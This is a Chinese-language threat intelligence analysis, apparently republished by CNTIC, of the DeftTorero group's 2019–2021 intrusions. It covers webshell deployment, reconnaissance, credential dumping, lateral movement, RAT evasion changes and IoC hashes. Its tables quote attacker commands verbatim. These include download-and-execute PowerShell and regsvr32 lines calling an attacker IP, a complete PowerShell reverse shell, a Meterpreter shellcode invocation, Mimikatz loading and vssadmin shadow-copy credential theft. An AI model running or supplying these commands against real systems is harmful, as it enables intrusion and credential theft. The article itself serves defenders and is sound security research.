关键词
恶意软件、webshell部署、RAT、攻击手法分析
到目前为止,公开的报告披露了最终的有效载荷即远程访问木马RAT和在初始“打点”中使用的Caterpillar和ASPXSpy等webshell (本文的IoC章节列举了部分webshell的MD5散列),以及少量战术、技术和过程(TTPs)方面的信息;本文主要关注攻击者在2019年底至2021年年中入侵受害者时使用的攻击手法。
基于对DeftTorero的webshell(如Caterpillar)进行的入侵分析,研究人员推断攻击者可能利用了文件上传表单或命令注入的漏洞,该漏洞存在于目标web服务器上的功能性或阶段性网站中。这个推断基于如下事实:上传的webshell总是放在同一个web文件夹中,并且在某些情况下会被分配一个包含GUID、后面跟着原始webshell文件名的名称。
在其他案例中,有迹象表明攻击者利用了服务器管理员预安装的IIS PHP插件存在的漏洞。还有一些案例,研究人员推测攻击者从同一受害组织的其他系统获得服务器的访问凭证后、使用远程桌面(MSTSC.exe)登录来部署webshell。
一旦攻击者成功地确定了一个上传webshell的方法,他们就会尝试下载某些种类和家族的webshell,其中大多数都能被反病毒引擎阻止。研究人员认为,几乎所有下载的webshell(包括ASPXSpy、devilzshell等)都来自于同一个GitHub账户,或者被原样使用,或者被稍加修改。
在成功安装webshell之后,攻击者运行多个命令从被利用的系统获得态势感知信息。这包括通过ping Google.com测试网络连接,列出当前文件夹,识别当前用户权限,列举本地系统用户,以及列出受感染服务器托管的网站。攻击者还试图判断web服务器加入和信任的域,这为下一步行动提供了支持。命令和其目的如表1所示。
表1:通过webshell执行的命令操作符
命令 |
意义 |
cmd.exе /c whoаmi | 确定用户权限 |
cmd.exе /c аppcmd list site | 列出web服务器上托管的网站 |
cmd.exе /c nltеst /domain_trusts | 列出域控制器并列举域信任 |
cmd.exе /с dir | 列出当前字典和文件 |
cmd.exе /c nеt view | 显示指定计算机正在共享的域、计算机或资源的列表 |
cmd.exе /c sеt | 显示当前环境变量设置 |
cmd.exе /c systеminfo | 显示系统配置文件和安装的修复程序 |
cmd.exе /c ipconfig -displаydns | 显示DNS解析器缓存 |
cmd.exе /c ipconfig -аll | 显示所有网络接口的网络配置 |
cmd.exе /c nеt user | 显示本地用户 |
cmd.exе /c nеt user /domain | 显示域用户 |
cmd.exе /c nеt use | 显示映射的驱动器到本地系统 |
cmd.exе /c opеnfilеs | 显示远程打开的文件 |
在获得态势感知信息之后,攻击者尝试加载/调用许多工具来实现本地和域凭证的导出。在某些情况下,攻击者还会试图安装Nmap和高级端口扫描器,可能是为了扫描内部系统。
凭证导出方法因情况而异。有时使用Lazagne.exe,也可能通过执行相应的PE二进制文件或从GitHub项目调用base64编码的PowerShell版本来使用Mimikatz变体。在少量的实例中,可能是由于反病毒检测的原因,攻击者将lass .exe进程转存到磁盘,很可能是为了进行离线处理。表二展示了调用Mimikatz变体的操作:
表2 调用Mimikatz变体的命令操作
命令 |
意义 |
IEX (New-Object Net.WebClient).DownloаdString(“httрs://raw.githubusercontеn t.com/BC- SECURITY/Empire/master/data/module_source/crеdentials/Invok e-Mimikatz.ps1”); Invoke-Mimikаtz -Command privilеge::dеbug; Invoke-Mimikаtz -DumpCrеds; |
通过webshell调用Mimikatz解码base64命令实现密码导出 |
IEX (New-Object Net.WebClient).DownloаdString(‘httрs://raw.githubuserconten t.com/putterpаnda/mimikittеnz/master/Invoke- mimikittеnz.ps1’); Invoke-mimikittеnz |
通过webshell调用Mimikittеnz解码base64命令实现密码导出 |
一旦获得访问凭证,攻击者就会使用远程桌面协议进入内部系统或其它可访问系统(例如,可信的合作伙伴)。时间轴分析也突出了这一点,其中攻击者在同一网络的另一个web服务器上部署了webshell,并未利用文件上传表单/漏洞。
执行进一步的命令绕过AV引擎并与攻击者的C2服务器建立Meterpreter会话。在建立Meterpreter会话之后,攻击者尝试再次调用Mimikatz变体以获得系统和域凭证。值得一提的是,在较早的入侵中,攻击者部署了强大的远程访问木马而不是使用Meterpreter。
表3 远程访问同一网络中的其它服务器的命令操作
命令 | 意义 |
cmd.exе /c “regsvr32 /s /n /u /i:httр://200.159.87[.]196:3306/jsJ13j.sct scrobj.dll 2>&1 |
使用LOLBINS(如REGSVR32和MSIEXEC)绕过安全控制实现命令执行的替代方法 |
cmd.exе /c “powershell -command “regsvr32 /s /n /u /i:httр://200.159.87[.]196:3306/jsJ13j.sct scrobj.dll” 2>&1 |
|
cmd.exе /c “powershеll.exe -executionpolicy bypass -w hidden “iex(New- Object System.Net.WebClient).DownloadString(‘httр://200.159.87[.]196/made.ps1’) ; made.ps1” 2>&1 |
|
cmd.exе /c “powershеll.exe -c “(New-Object System.NET.WеbClient).DownloadFile(‘httр://200.159.87[.]196/av.vbs’,”$e nv:tempav.vbs”);Start-Procеss %windir%system32cscript.exе ”$env:tempav.vbs”” 2>&1 |
|
cmd.exe /c “powershеll.exe -executionpolicy bypass -w hidden “iex(New- Object System.Net.WebClient).DownloadString(‘httр://<internal_IP_address>:8000/ made.ps1′); made.ps1″ 2>&1 |
|
cmd.exe /c “powershеll -nop -c “$client = New-Object System.Net.Sockets.TCPClient(‘200.159.87[.]196’,3306);$strеam = $client.GеtStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Rеad($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object – TypeName System.Text.ASCIIEncoding).GеtString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sеndbyte = ([text.encoding]::ASCII).GеtBytes($sendback2);$strеam.Write($sendbyte,0, $sendbyte.Length);$stream.Flush()};$client.Close()” 2>&1 |
|
cmd.exe /c “msiеxec /q /i http://200.159.87[.]196/1.msi 2>&1 | |
cmd.exe /c “Powershеll.exе -NoP -NonI -W Hidden -Exеc Bypass IEX (New- Object Net.WebClient).DownloadString(‘httрs://raw.githubusercontent[.]com/cheet z/PowerSploit/master/CodeExеcution/Invoke–Shellcode.ps1’); Invoke- Shellcode -Payload windows/metеrpreter/reverse_https -Lhost 200.159.87[.]196 -Lport 3306 -Force 2>&1 |
PowerShell命令调用Meterpreter会话 |
虽然攻击者在大多数入侵中都使用了相同的凭证获取策略,但在一些情况下也能看到修改。例如,攻击者使用VSSADMIN系统工具在目标服务器上创建一个卷影复制快照,以试图获取域凭证。
命令 |
意义 |
CMD /C vssаdmin create shadow /for=E: | 创建卷影副本,从本地系统收集SAM和SYSTEM注册表单元,在域控制器上收集NTDS.DIT和SYSTEM单元 |
CMD /C vssаdmin list shadows /for=E:> | 测试上述命令是否生效 |
自2019年以来,研究人员几乎没有看到过强大的远程登录木马。然而,值得一提的是,虽然恶意软件的功能并没有随着时间的推移发生太大变化,但恶意软件的作者一直努力确保其文件不会由于公开可用的签名而被检测到。下表说明了恶意软件作者所做的一些更改。另外值得注意的是,以前的Yara规则中提到的一些字符串从新版本中消失了。
表 5 远程访问木马的模式变化
命令 |
意义 |
描述 |
DOD | 创建卷影副本,从本地系统收集SAM和SYSTEM注册表单元,在域控制器上收集NTDS.DIT和SYSTEM单元 | 用于恶意软件配置变量的分隔符 |
Mozilla/5.0 (Windows NT 6.0; WOW64; rv:32.0) Gecko/20200101 Firefox/32.0 | Mozilla/4.0 (compatible; MSIE 7.0; MSIE 6.0; Windows NT 5.1; .NET CLR 2.0.50727) | 用于HTTP通信的用户代理 |
为了逃避防御,第二个值得注意的变化是由RAT的DLL组件导出的函数名。下面是导出表中的更改列表。
表6远程访问木马新旧函数名称的对比
新函数名 | 原函数名 |
AllDataGet | GetAllData |
HistoryGetIE | GetIEHistory |
TOCN | CON |
FnClipOpen | OpenClipFn |
HoKSetWin | SetWinHoK |
appregister | Registerapp |
ProcessPath | PathProcess |
在2019年底至2021年年中评估的入侵指标与通常的DeftTorero受害者类型相似,明显集中在中东国家,如埃及、约旦、科威特、黎巴嫩、沙特阿拉伯、土耳其和阿拉伯联合酋长国。
目标web服务器时常托管着属于不同行业领域的多个网站,如企业、教育、政府、军事、媒体和电信。这给攻击者提供了入侵其他领域受害者的机会。
本文描述了在之前的DeftTorero入侵中发现的潜在攻击战术、技术和过程,这些在公开文件中鲜有报道。
由于本文的研究分析和已有的公开报告均表示在2020年后没有发现任何新的远程访问木马RAT,仅发现了稍微修改过的已有工具集(例如高级RAT、webshell等),研究人员进行的历史入侵分析表明,攻击者可能会将TTP更多地转移到无文件/LOLBINS技术,并使用互联网上已知的攻击工具。这种TTP的转变可以解释前几年检测结果的差距,因为使用无文件技术和已知工具可以让攻击者混入其他威胁活动以规避防御检测。
除了评估网络漏洞外,有两种防御措施可以有效对抗此类入侵,即监控web服务器的文件完整性和定期扫描web服务器备份;一些攻击者的后利用工具实际上是在网站备份中,并在最初的入侵后继续存在。如果在稍后的阶段恢复了备份,攻击者就可以重新获得访问权限,并从他们先前停止的地方继续实施攻击。
53EE31C009E96D4B079EBE3267D0AE8E |
Explosive RAT EXE |
54EBC45137BA5B9F5ECE35CA40267100 |
Explosive RAT EXE |
A955B45E14D082F71E01EBC52CF13DB8 |
Explosive RAT EXE |
E952EC767D872EA08D8555CBC162F3DC |
Explosive RAT EXE |
ED50613683B5A4196E0D5FD2687C56DA |
Explosive RAT EXE |
0a45de1cdf39e0ad67f5d88c730b433a |
cmd.aspx (basic ASPX webshell) |
0d6bc7b184f9e1908d4d3fe0a7038a1e |
c.aspx/conn.aspx (Tunna webshell) |
c87a206a9c9846a2d1c3537d459ec03a |
the.aspx (ASPX webshell) |
02BCD71A4D7C3A366EFF733F92702B81 |
devel.aspx (Devel webshell) |
D6A82B866F7F9E1E01BF89C3DA106D9D |
Banner.aspx (reGeorg webshell) |
C59870690803D976014C7C8B58659DDF |
03831a5291724ef2060127f19206eiab.aspx (webshell) |
1ED9169BED85EFB1FD5F8D50333252D8 |
aram.aspx (Caterpillar webshell) |
2D804386DE4073BAD642DFC816876D08 |
Pavos.aspx (Caterpillar webshell) |
523AA999B9270B382968E5C24AB6F9EB |
Report_21.jpg (ASPX webshell) |
45d854e66631e5c1cda6dbf4fea074ce |
aspxspy2014final.aspx (ASPXSpy webshell) |
Bb767354ee886f69b4ab4f9b4ac6b660 |
sec4ever.aspx (Sec4ever webshell) |
0152de452f92423829e041af2d783e3f |
editor.aspx (basic ASPX webshell) |
7981f1bf9b8e5f4691e4ac440f1ba251 |
devilzshell.aspx (devilzshell webshell) |
4b646e7958e1bb00924b8e6598fe6670 |
nightrunner.aspx (Nightrunner webshell) |
D608163a972f43cc9f53705ed6d31089 |
mini.php (PHP webshell) |
7567F938EE1074CD3932FDB01088CA35 |
Netcat (filenames seen: 50.exe, 04.exe, putty.exe) |
566b4858b29cfa48cd5584bebfc7546b |
mim.ps1 (Mimikatz) |
BD876B57F8BE84FF5D95C899DE34C0EE |
Invoke-DCSync.ps1.txt |
F575D4BB1F5FF6C54B2DE99E9BC40C75 |
Aaa.txt/.ps1 (Mimikatz) |
238A4EFE51A9340511788D2752ACA8D6 |
DomainPasswordSpray.ps1 |
550BD7C330795A766C9DFB1586F3CC53 |
Copy-VSS.ps1 |
68D3BF2C363144EC6874AB360FDDA00A |
lazagne.exe |
3437E3E59FDA82CDB09EAB711BA7389D |
mimilove.exe |
编辑|孙书樵
审校|何双泽、金矢
本文为CNTIC编译整理,不代表本公众号观点,转载请保留出处与链接。联系信息进入公众号后点击“关于我们”可见。
原文始发于微信公众号(国家网络威胁情报共享开放平台):DeftTorero入侵活动的攻击手法分析